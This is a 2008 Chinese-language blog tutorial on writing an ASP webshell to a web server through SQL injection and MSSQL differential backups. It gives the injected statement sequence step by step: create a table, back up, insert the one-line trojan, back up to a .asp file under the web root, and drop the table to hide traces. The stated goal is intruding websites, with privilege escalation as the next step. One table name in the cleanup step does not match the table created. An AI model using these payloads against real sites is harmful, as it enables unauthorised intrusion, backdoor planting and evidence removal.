Ay's Blog@CNSSUESTC

sql注入之差异备分

    当你有了SQL语句基本功时依然用啊D之类的工具扫管理员密码,网站后台的时候是不是千遍一律,不耐烦了呢?呵呵,当时我也是很不耐烦了,拿个扫描器对一堆网站狂扫结果什么都没有。下面我们来说个成功率更高,适用性更广的方法,那就是传说中的差异备分

    关于差异备分我想已经臭名远洋了吧。下面我们先来简单说下数据库的差异备分:

 

     差异备份所基于的常规数据库备份、部分备份或文件备份称为差异的“基准”或“差异基准”。仅复制备份不能用作差异基准。文件差异备份的基准备份可以包含在完整备份、文件备份或部分备份中。有关详细信息,请参阅在 单模式下的备分或在完整模式下的备分

差异备份只记录自上次建立差异基准后更改的数据。差异备份比差异基准更小且更快,便于执行频繁备份,从而降低了数据丢失的风险。

    除只读数据库之外,其他数据库中每个文件的差异基准信息均保存在主文件组的一个目录中。每个数据库的差异基准信息亦存储在 master 数据库中。


————以上是引用MSDN对差异备分的解释

    所谓的差异备分,就是只备分最近一次备分之后到此次备分之前所增加的那一部分数据。打个比方我第N次备分后数据库存放的内容是ABCD,然后我第N+1次 备分的时候使用差异备分,此时数据库的存放的内容是ABCDEFG。那么我差异备分的结果就是EFG,只备分增加量。都明白了我们就开始讲点有用的东西 啦,嘿嘿~~为什么要用差异备分呢?因为规模点的网站数据库一般有几十M甚至,那么你备分出来的数据就有几十M,然后你从WEB上打开个几十M内容文件的 话……估计要很久吧。这么入侵的话我觉得你还是直接拿刀找网管让他把后台密码给你好了。再者我们备分的一句话木马会受到影响,如果数据库中存在《或者%之 类的字符的话。可能导致我们小马无法访问。还有就是备分那么大的数据库可能会导致脚本操作超时,所以我们得尽量减少我们备分出来的数据库的大小。为什么备 分数据库就可以入侵网站了呢……我们往下跳


我不是分割线

________________________________________________________


      我们来介绍下SQL的备分语句:

BACKUP DATABASE ****(表示你要备分的数据库名) TO DISK='*****'(表示你要备分的数据库路径) WITH DIFFERENTIAL(告诉数据库你要进行差异备分,如果没有WITH DIFFERENTIAL则进行完整备分)

 

      举个例子,比如我们知道了WEB服务器的物理路径 D:\WEB\,服务器的数据库名为XXX

那么如果我们将一个一句话木马插入数据库中(后面讲到)然后备分数据库,具体语句如下

BACKUP DATABASE XXX TO DISK='D:\WEB\AY.ASP' WITH DIFFERENTIAL

      注意到D:\WEB\AY.ASP没有,意思就是说把数据库备分到WEB目录下而且数据库备分文件名为AY.ASP,可喜的是  AY.ASP这个文件中存在我们的一句话木马语句,当服务器遇到ASP后缀名的文件时会对该文件进行ASP解析,ASP解析的原则是遇到<%开始解 析,%>结束解析。比如我们向数据库中插入一句话木马,这个时候我们插入的数据是新增的数据,然后用差异备分备分一个ASP文件到WEB目录下。那 么这个ASP文件下就会存在我们的木马内容了。然后访问一句话木马,然后小马传大马。

      别告诉我不知道怎么访问,因为很多人还是不理解WEB物理路径和我们访问的URL之间的关系。简单说下好了,比如你的WEB根目录在这样D:\WEB\, 文件夹下有你想访问的文件AY.ASP。网站域名为http:\\xxx.xxx.xxx,那么你只要访问http:\\xxx.xxx.xxx \AY.ASP就可以了。你的WEBSHELL就到手了,入侵服务器的进度就完成了10%(为什么是10%呢?因为90%的难度在提权~呵呵)。

原理知道没?接下来是实践了,往下看之前建议你把SQL的基本语句搞懂。

来,再往下跳


我还是不是分割线

____________________________________________________________________________


      首先我们需要注入的数据库类型是MSSQL的,而且这个数据库的连接权限必须是DB_OWNER的权限。(一般MSSQL数据库网站都是这个权限的)有建表的权限。满足以上条件的网站其实是比较多的。呵呵……


URL;create table ay(ay1 image) --

新建一个名为AY的表 表内存在名为AY1的图象类型的字段

URL;backup database 数据库名 to disk='物理路径' with DIFFERENTIAL -- 

注意,这次备分是要减小数据库的备分量
URL;insert into ay (ay1) values (“一句话木马") --

向你新建的表中插入一句话木马内容
URL;backup database 数据库名 to disk='物理路径'with DIFFERENTIAL -- 

备分数据库到WEB目录下

URL;drop table xy --

删除表名,清理痕迹

      步骤介绍完了,也许大家还是有疑惑,就是为什么第2句要备分一下,比如还是上面的例子,我们备分之前数据库存在内容为ABCD,我们进行差异备分,然后插 入小马,那么数据库内容表为ABCDE,E代表小马内容。那么差异备分出来内容为E。为什么这样呢,因为你不知道这台服务器多久之前备分过的,万一这服务 器没备分过而且数据库内容有几百M呢?所以严谨点的办法就是先备分一次在写入一句话木马。

posted on 2008-12-07 16:17 __ay 阅读(350) 评论(0)  编辑 收藏 引用 所属分类: Security


只有注册用户登录后才能发表评论。
网站导航: 博客园   IT新闻   BlogJava   知识库   博问   管理